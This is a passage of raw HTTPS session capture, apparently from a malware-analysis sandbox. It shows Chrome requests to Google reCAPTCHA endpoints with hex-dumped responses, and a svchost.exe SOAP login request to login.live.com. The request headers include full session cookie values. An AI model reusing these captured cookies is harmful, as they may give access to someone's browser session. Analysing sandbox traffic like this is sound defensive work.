2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 15 a5 e6 9f 6f b6 26 2d 07 ef 0a 76 c1 52 a3 3c 63 91 55 4d 35 73 a2 9c d2 56 67 d7 d5 cb 59 6a 0f 6d af eb d6 36 d6 97 32 c8 b7 d0 ca 76 45 95 d8 f0 c7 bb 93 c7 f0 b5 73 9e 0f f8 dd e0 af 11 ea a9 a6 2c d7 3a 7d c4 80 79 7f 6b 40 aa ec 7f 84 10 4f 3f 5c 57 4b 63 1d c5 bf c4 ad 58 8b 80 d0 5d 69 b6 f2 88 88 19 0e af 22 71 ed 8f e7 5d 09 ee 69 7b ec 5a 96 e3 57 b9 92 f2 d2 3d 36 48 fc c5 ca 49 25 ca a8 8c 15 03 f8 72 41 ce 4d 4f e2 9d 56 3d 27 41 9e e6 59 bc a9 cc 4c b0 ed 5d c4 c9 b4 90 07 1e be b5 ab 1a ed 5e 4e 58 f2 4f a9 aa 7a d5 b3 5e 58 4d 6f 1d f3 59 48 50 e2 54 0a 4a 64 11 9e 7b 7e 5d 3a d0 9e a3 3e 0a f1 16 af e2 6f 12 ea d2 c1 a8 ea da a6 a7 28 dc ee 8c 4b 84 7e e3 19 c0 1c 63 b5 26 9d 6b 7d 6f 6c d6 f3 c5 76 f2 38 6f 3a 2b 77 d9 2a 03 85 fd e1 Data Ascii: o&-vR<cUM5sVgYjm62vEs,:}yk@O?\WKcX]i"q]i{ZW=6HI%rAMOV='AYL]^NXOz^XMoYHPTJd{~]:>o(K~c&k}olv8o:+w*
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: c5 a6 5d 4e b2 ca aa 9b 58 ec e8 bb fd 3b 91 d3 20 7e 12 36 bb a2 dd d9 49 a8 df da c5 73 74 47 ee fc d2 e0 89 08 c3 03 86 e7 03 a1 e8 3f 96 0d 8d bc 93 5b dc c9 1a cb 3d b8 56 df f3 8c 86 3c 16 c7 27 1c 63 f3 aa 0a 63 90 c7 e5 c7 10 51 85 e7 2c 4f bf 3f d2 a5 26 dd af b0 26 fb 92 3c 82 e2 45 7b 74 f3 30 b8 da eb bb 71 ee 79 e9 48 d2 f9 71 b1 66 8e 31 bb 95 4c e7 3f 81 00 54 6d e6 7c c9 bc b2 e0 f5 38 03 d3 f9 55 3b 8b ac c1 e4 c7 16 7e 6c 99 3f c2 ba a0 9d c4 89 ee 35 7d 9b 55 7e d0 14 1c ee 2e 1b f9 8a 9a d2 f2 24 b5 37 1e 7a c8 64 07 06 6b 61 9c 82 38 cf 03 3c 8a c6 b8 65 db 86 5c f4 db df 8a 86 0d cd 2a 19 32 a8 a4 70 7a 55 ee ca 56 ea 74 b1 ea 10 5d 6c f3 45 8b b1 3d 36 ba b7 e8 3f ad 4c 6e 60 c8 68 e5 90 a2 8c 0d b3 11 ff 00 a1 56 23 ec 86 35 89 6d Data Ascii: ]NX; ~6IstG?[=V<'ccQ,O?&&<E{t0qyHqf1L?Tm\|8U;~l?5}U~.$7zdka8<e\*2pzUVt]lE=6?Ln`hV#5m
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: d6 69 91 8a 63 ee 9c 77 a2 b5 4c 96 60 90 59 c9 1f ec 1f f0 a2 a6 cc bb a3 92 d3 1d 3c c9 02 46 09 03 71 04 e0 7d 2a ef c8 64 79 0a 0e 54 94 07 07 9c f3 d6 a8 40 65 95 8a 32 10 c0 82 4a f4 e3 d6 ad ac 12 87 32 79 6d f2 8f bd fd da e5 76 b9 0e c2 de 5a e2 1d d1 2b 84 55 24 10 77 0c 1e de d5 56 3b 87 49 36 92 48 2b 8e 9c 03 5a 48 e5 6d e4 8d 86 01 5c 01 8c e0 75 c7 d7 15 90 c8 d2 be 54 01 b5 33 9e 99 02 9c 1f 71 44 9d 24 11 cb 94 da c3 67 2b ef de ab 48 63 2c 4a 63 07 b0 f5 3f e4 d3 81 05 71 86 38 c1 65 27 1c 52 48 91 82 64 0b f2 83 8c 7b d6 89 94 89 84 5e 4a 13 b9 b2 47 cd 8e 40 1e 94 b7 50 ed 80 c9 08 21 b7 0f 94 b6 47 e1 54 81 75 3b 5e 46 f2 d8 e5 86 73 92 2a 75 91 a7 b8 8a 35 0d b7 18 f9 57 27 a7 34 9a d4 39 7b 16 60 50 a8 64 6f 90 a6 4f 04 1f a7 f4 a8 Data Ascii: icwL`Y<Fq}dyT@e2J2ymvZ+U$wV;I6H+ZHm\uT3qD$g+Hc,Jc?q8e'RHd{^JG@P!GTu;^Fsu5W'49{`PdoO
2024-03-15 12:58:18 UTC	1252	IN	Data Raw: 40 d1 8d d9 03 20 fb 64 77 eb 5c a9 4a 12 df 42 75 4c ce b8 b4 b0 dc d2 da ba 3a 20 0e 87 6e 1c 83 d7 a7 1d eb 3e 34 92 46 63 1a 79 8e 48 52 0a e4 af 38 f6 cd 25 e3 34 77 6c 89 00 c2 01 e6 29 42 46 71 c1 03 f2 c5 5a b0 c1 bf 49 56 37 b7 87 86 1f 36 4e 7e 9f 87 4a eb 57 e5 d4 d1 5c aa fa 7d bf fa c6 b6 08 1c 92 9b 93 6f 43 83 83 9f 5c 0a 86 de 5b 68 a4 21 e0 38 c1 ca 9e 49 3d cd 75 17 ba d4 11 e8 66 d9 56 79 af 83 14 12 c8 c0 a8 88 e4 95 d9 8f 5c 1c fb 57 20 6f 27 9a f9 a4 b9 7f 33 b3 12 a0 b1 39 ea 78 e7 8a b5 7e 5d 4a 2e dd f9 0e 8b 22 ae d9 08 c6 d6 c8 c8 ef 4e b6 85 1d b2 09 64 d8 4e 0f 5e 95 16 ab 76 f7 53 87 71 b9 9f 19 54 5e 83 b7 d3 18 15 26 9a c9 13 ab e7 0e 3b b9 c0 60 6b 36 f4 d0 5d 34 2e 7d ae 58 d0 b4 91 96 8d 57 a2 1d c4 76 eb d3 1f ca a3 b4 Data Ascii: @ dw\JBuL: n>4FcyHR8%4wl)BFqZIV76N~JW\}oC\[h!8I=ufVy\W o'39x~]J."NdN^vSqT^&;`k6]4.}XWv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49759	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:18 UTC	797	OUT	GET /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:18 UTC	473	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:58:18 GMT Content-Type: text/html; charset=utf-8 Allow: POST X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:18 UTC	779	IN	Data Raw: 36 37 36 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 Data Ascii: 676<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;c
2024-03-15 12:58:18 UTC	882	IN	Data Raw: 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: go_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.googl
2024-03-15 12:58:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49760	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:18 UTC	1043	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5g_6J-oVyZGxTOqGvfinWuimROArHBxL7hy3JP51a5UXfeSXr9kNyijYt-nth_bE1vMP8IgMf1ABLY20nwERtZno2huybA-R7oP9Jh97ndor8CK-RTVXyTKFUm23hzSjZk4vwLcbW2D1XwUdOeBd5tq_ejvJO56XXf5LR8XerMEEmlgQtfSH_AxNpDgTds3fIXnbrA5aIBglkJx3e4Ca3bB4Gs-w&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=79357a75a0682f47 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:19 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:19 GMT Date: Fri, 15 Mar 2024 12:58:19 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:19 UTC	6	IN	Data Raw: 42 36 41 44 0d 0a Data Ascii: B6AD
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: 0e 76 85 42 af fa 0e 47 e5 50 41 63 a9 4b 37 fa 45 8c c7 18 f9 d0 30 e0 70 3d a8 4a c2 4a da 8e b3 97 66 a2 cc 81 a3 27 28 06 ec ae 08 e7 83 5e 8f 6d 6a 34 28 cf f6 ae 9c 2e 65 76 69 15 e3 90 4a b8 c0 e3 68 c8 fe 2c f4 f4 ed 5c 0d fc cd 14 f1 ab 29 80 85 54 26 48 fa fd 7f 2a d6 b7 d5 1e f6 38 44 e8 ce 6d a2 c2 aa 31 6d e0 72 38 3d 4f 00 54 3b 2d 45 27 d5 1a 3a 44 08 ba 84 8a f3 98 a0 8d 7c d0 cf 11 39 55 3f 36 00 e8 01 e3 38 ab 2b 69 6b 33 c9 77 a6 96 b3 b8 8f cc 94 4d 0b 12 49 08 76 a2 e3 04 12 70 3f cf 38 a9 ab 46 56 74 b8 97 ec d2 c9 11 84 a9 8c 16 2a c4 96 1c 0c f5 51 f4 a8 b4 b5 78 2f 9d e4 b9 49 61 31 05 8c 12 37 0e bf 2a e7 d3 26 b2 9c 9a 5a 6e 2b b3 d6 f4 ef 14 ea 1a 07 c3 4d 43 45 f1 0d 8c 33 39 91 96 df cf c1 5d eb 12 aa 10 ac 4e d2 06 d2 0f 7c Data Ascii: vBGPAcK7E0p=JJf'(^mj4(.eviJh,\)T&H8Dm1mr8=OT;-E':D\|9U?68+ik3wMIvp?8FVtQx/Ia17*&Zn+MCE39]N\|
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: 83 54 b8 8f 4c 0f 6b 2b 28 8e 5d fb 43 11 91 9c 1f a5 64 4a 54 3b 4a 66 b8 cb 3e 62 8d 5b 3b 01 27 3c f5 a2 33 f6 8d a9 21 de e6 a3 6a 97 cb 13 4a 25 92 58 49 c4 a3 70 56 07 de 8b 6b e1 29 48 a3 f2 d8 b2 9d a1 86 08 f9 71 9e 31 f9 fb 56 4c 6c 92 ca 04 ca ab 11 c6 e6 8c 6d cf b1 5e 86 b7 6c 64 8a 55 06 cb c8 45 43 fe ae 48 f2 39 ff 00 7b 23 34 4b dd 5a 12 d3 46 57 99 26 52 cf f7 b2 6d 39 2c 8a 4f 07 af e1 d2 97 50 12 b4 02 f2 d2 e1 7e 45 da ea bf 2a 9c 77 1e ff 00 e1 4e 5b 87 8e e2 48 33 2e c4 90 f1 b7 3b 39 f4 f4 ab 56 f2 45 10 1e 6a b0 5d c5 97 04 93 cf 1c ff 00 85 4c a5 6d 86 99 6b 4f 95 20 b5 b7 8a e5 03 48 70 c5 1e 35 65 2a 79 e7 70 eb 9e f5 ab f0 ff 00 51 b0 f0 af 8a e3 d4 35 3d 22 2d 56 d5 89 65 85 d4 6c 1f a1 1f a7 4a c6 8e 6c cb 10 85 4b 1e 78 3c Data Ascii: TLk+(]CdJT;Jf>b[;'<3!jJ%XIpVk)Hq1VLlm^ldUECH9{#4KZFW&Rm9,OP~EwN[H3.;9VEj]LmkO Hp5eypQ5="-VelJlKx<
2024-03-15 12:58:19 UTC	342	IN	Data Raw: 86 f0 c4 d3 19 23 e0 02 0e 4a e7 9c 73 dc 13 56 6c 2f 6f 61 29 0d bd ec f1 8d dd 16 42 33 cf b5 57 5b 59 24 8c cd 75 39 88 31 f9 54 f2 cf e9 81 fd 4d 4b 65 7c 76 b2 41 08 87 6f de c1 25 9f dc 9e a7 e9 d3 da 9b 6e c1 d0 ed 96 49 a6 e6 1b eb a7 46 b7 66 db 3e d9 0a b8 f9 88 0a 73 91 80 47 3e b9 ed 4d 7d 63 ca 91 2d e5 b0 b1 96 34 6c 2b a2 08 4a 3f 6f 99 40 15 95 a0 e9 d1 0b 2f b7 cd 7c ac 5c 6d 50 b1 93 e5 c9 c6 7a 9e a0 1f 4a a3 ab c8 af 63 e5 89 3c c0 e3 7b b2 ff 00 1b 1e 30 3f 9d 73 f3 39 3b 19 f3 5d d8 e9 85 d6 9f 0d d1 cd b1 04 83 c3 4b b8 1c 9c 93 df 9e b5 5a fe 7d 0a f6 ea 2f 30 4a e4 04 3b 51 c6 d0 a7 9f 51 eb e9 5c 8c 52 df c8 d1 b4 ce ee 80 90 0b 74 da 31 c0 3f 41 4e 82 d6 57 8e 7b 86 8d 80 5c 81 9e 9c 74 18 1d ea b9 63 7f 78 bb 59 ea 76 1a cc 76 Data Ascii: #JsVl/oa)B3W[Y$u91TMKe\|vAo%nIFf>sG>M}c-4l+J?o@/\|\mPzJc<{0?s9;]KZ}/0J;QQ\Rt1?ANW{\tcxYvv
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: e1 8f cd 7b 76 9d cb e7 ce 3d 5d 47 fb 87 07 eb ed 56 2d 25 bd bb b9 9a 53 a5 ec 8d 7e 76 55 01 50 7c a0 64 12 33 9e 3d 7b 9a cf d1 3c 41 1c 9a 7b 58 2c 4d 2c ab f2 f9 72 6d 74 0a 79 c8 24 02 31 fe f7 52 6a fc d7 93 a3 c4 cf 72 22 52 e3 6a ab b2 1e fd f9 07 1c 71 51 26 af 66 8a 56 67 55 a1 ea 9a 6e a5 a8 49 a4 ea f6 96 76 2b 32 18 59 96 d9 37 22 93 bb 78 27 3c e4 1f 98 63 ef 55 ff 00 0d c7 a2 f8 5f c3 3a 85 ee 9d e2 0b 5f ed 3f 34 79 71 1b 52 af 2a a8 ff 00 58 a4 70 98 27 1c 8e 49 f6 ae 5b 48 b5 f1 2e a9 1d c4 d6 6f 33 f9 4d 1f 39 8e 40 81 9b 68 3d b3 93 81 cd 68 78 92 ee c3 4d d1 da cf 50 8f cd d7 e3 98 c3 74 5a d0 47 12 c2 39 c0 65 f9 b7 ee e3 9e 31 52 96 b6 43 be 97 31 7c 43 79 69 a9 5c a5 e4 37 77 11 de 4a 09 b9 12 c9 bc 48 d8 23 20 e3 38 fa e6 a7 d2 Data Ascii: {v=]GV-%S~vUP\|d3={<A{X,M,rmty$1Rjr"RjqQ&fVgUnIv+2Y7"x'<cU_:_?4yqR*Xp'I[H.o3M9@h=hxMPtZG9e1RC1\|Cyi\7wJH# 8
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: 15 a5 e6 9f 6f b6 26 2d 07 ef 0a 76 c1 52 a3 3c 63 91 55 4d 35 73 a2 9c d2 56 67 d7 d5 cb 59 6a 0f 6d af eb d6 36 d6 97 32 c8 b7 d0 ca 76 45 95 d8 f0 c7 bb 93 c7 f0 b5 73 9e 0f f8 dd e0 af 11 ea a9 a6 2c d7 3a 7d c4 80 79 7f 6b 40 aa ec 7f 84 10 4f 3f 5c 57 4b 63 1d c5 bf c4 ad 58 8b 80 d0 5d 69 b6 f2 88 88 19 0e af 22 71 ed 8f e7 5d 09 ee 69 7b ec 5a 96 e3 57 b9 92 f2 d2 3d 36 48 fc c5 ca 49 25 ca a8 8c 15 03 f8 72 41 ce 4d 4f e2 9d 56 3d 27 41 9e e6 59 bc a9 cc 4c b0 ed 5d c4 c9 b4 90 07 1e be b5 ab 1a ed 5e 4e 58 f2 4f a9 aa 7a d5 b3 5e 58 4d 6f 1d f3 59 48 50 e2 54 0a 4a 64 11 9e 7b 7e 5d 3a d0 9e a3 3e 0a f1 16 af e2 6f 12 ea d2 c1 a8 ea da a6 a7 28 dc ee 8c 4b 84 7e e3 19 c0 1c 63 b5 26 9d 6b 7d 6f 6c d6 f3 c5 76 f2 38 6f 3a 2b 77 d9 2a 03 85 fd e1 Data Ascii: o&-vR<cUM5sVgYjm62vEs,:}yk@O?\WKcX]i"q]i{ZW=6HI%rAMOV='AYL]^NXOz^XMoYHPTJd{~]:>o(K~c&k}olv8o:+w*
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: c5 a6 5d 4e b2 ca aa 9b 58 ec e8 bb fd 3b 91 d3 20 7e 12 36 bb a2 dd d9 49 a8 df da c5 73 74 47 ee fc d2 e0 89 08 c3 03 86 e7 03 a1 e8 3f 96 0d 8d bc 93 5b dc c9 1a cb 3d b8 56 df f3 8c 86 3c 16 c7 27 1c 63 f3 aa 0a 63 90 c7 e5 c7 10 51 85 e7 2c 4f bf 3f d2 a5 26 dd af b0 26 fb 92 3c 82 e2 45 7b 74 f3 30 b8 da eb bb 71 ee 79 e9 48 d2 f9 71 b1 66 8e 31 bb 95 4c e7 3f 81 00 54 6d e6 7c c9 bc b2 e0 f5 38 03 d3 f9 55 3b 8b ac c1 e4 c7 16 7e 6c 99 3f c2 ba a0 9d c4 89 ee 35 7d 9b 55 7e d0 14 1c ee 2e 1b f9 8a 9a d2 f2 24 b5 37 1e 7a c8 64 07 06 6b 61 9c 82 38 cf 03 3c 8a c6 b8 65 db 86 5c f4 db df 8a 86 0d cd 2a 19 32 a8 a4 70 7a 55 ee ca 56 ea 74 b1 ea 10 5d 6c f3 45 8b b1 3d 36 ba b7 e8 3f ad 4c 6e 60 c8 68 e5 90 a2 8c 0d b3 11 ff 00 a1 56 23 ec 86 35 89 6d Data Ascii: ]NX; ~6IstG?[=V<'ccQ,O?&&<E{t0qyHqf1L?Tm\|8U;~l?5}U~.$7zdka8<e\*2pzUVt]lE=6?Ln`hV#5m
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: d6 69 91 8a 63 ee 9c 77 a2 b5 4c 96 60 90 59 c9 1f ec 1f f0 a2 a6 cc bb a3 92 d3 1d 3c c9 02 46 09 03 71 04 e0 7d 2a ef c8 64 79 0a 0e 54 94 07 07 9c f3 d6 a8 40 65 95 8a 32 10 c0 82 4a f4 e3 d6 ad ac 12 87 32 79 6d f2 8f bd fd da e5 76 b9 0e c2 de 5a e2 1d d1 2b 84 55 24 10 77 0c 1e de d5 56 3b 87 49 36 92 48 2b 8e 9c 03 5a 48 e5 6d e4 8d 86 01 5c 01 8c e0 75 c7 d7 15 90 c8 d2 be 54 01 b5 33 9e 99 02 9c 1f 71 44 9d 24 11 cb 94 da c3 67 2b ef de ab 48 63 2c 4a 63 07 b0 f5 3f e4 d3 81 05 71 86 38 c1 65 27 1c 52 48 91 82 64 0b f2 83 8c 7b d6 89 94 89 84 5e 4a 13 b9 b2 47 cd 8e 40 1e 94 b7 50 ed 80 c9 08 21 b7 0f 94 b6 47 e1 54 81 75 3b 5e 46 f2 d8 e5 86 73 92 2a 75 91 a7 b8 8a 35 0d b7 18 f9 57 27 a7 34 9a d4 39 7b 16 60 50 a8 64 6f 90 a6 4f 04 1f a7 f4 a8 Data Ascii: icwL`Y<Fq}dyT@e2J2ymvZ+U$wV;I6H+ZHm\uT3qD$g+Hc,Jc?q8e'RHd{^JG@P!GTu;^Fsu5W'49{`PdoO
2024-03-15 12:58:19 UTC	1252	IN	Data Raw: 40 d1 8d d9 03 20 fb 64 77 eb 5c a9 4a 12 df 42 75 4c ce b8 b4 b0 dc d2 da ba 3a 20 0e 87 6e 1c 83 d7 a7 1d eb 3e 34 92 46 63 1a 79 8e 48 52 0a e4 af 38 f6 cd 25 e3 34 77 6c 89 00 c2 01 e6 29 42 46 71 c1 03 f2 c5 5a b0 c1 bf 49 56 37 b7 87 86 1f 36 4e 7e 9f 87 4a eb 57 e5 d4 d1 5c aa fa 7d bf fa c6 b6 08 1c 92 9b 93 6f 43 83 83 9f 5c 0a 86 de 5b 68 a4 21 e0 38 c1 ca 9e 49 3d cd 75 17 ba d4 11 e8 66 d9 56 79 af 83 14 12 c8 c0 a8 88 e4 95 d9 8f 5c 1c fb 57 20 6f 27 9a f9 a4 b9 7f 33 b3 12 a0 b1 39 ea 78 e7 8a b5 7e 5d 4a 2e dd f9 0e 8b 22 ae d9 08 c6 d6 c8 c8 ef 4e b6 85 1d b2 09 64 d8 4e 0f 5e 95 16 ab 76 f7 53 87 71 b9 9f 19 54 5e 83 b7 d3 18 15 26 9a c9 13 ab e7 0e 3b b9 c0 60 6b 36 f4 d0 5d 34 2e 7d ae 58 d0 b4 91 96 8d 57 a2 1d c4 76 eb d3 1f ca a3 b4 Data Ascii: @ dw\JBuL: n>4FcyHR8%4wl)BFqZIV76N~JW\}oC\[h!8I=ufVy\W o'39x~]J."NdN^vSqT^&;`k6]4.}XWv

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.17	49761	40.126.24.82	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:21 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4784 Host: login.live.com
2024-03-15 12:58:21 UTC	4784	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
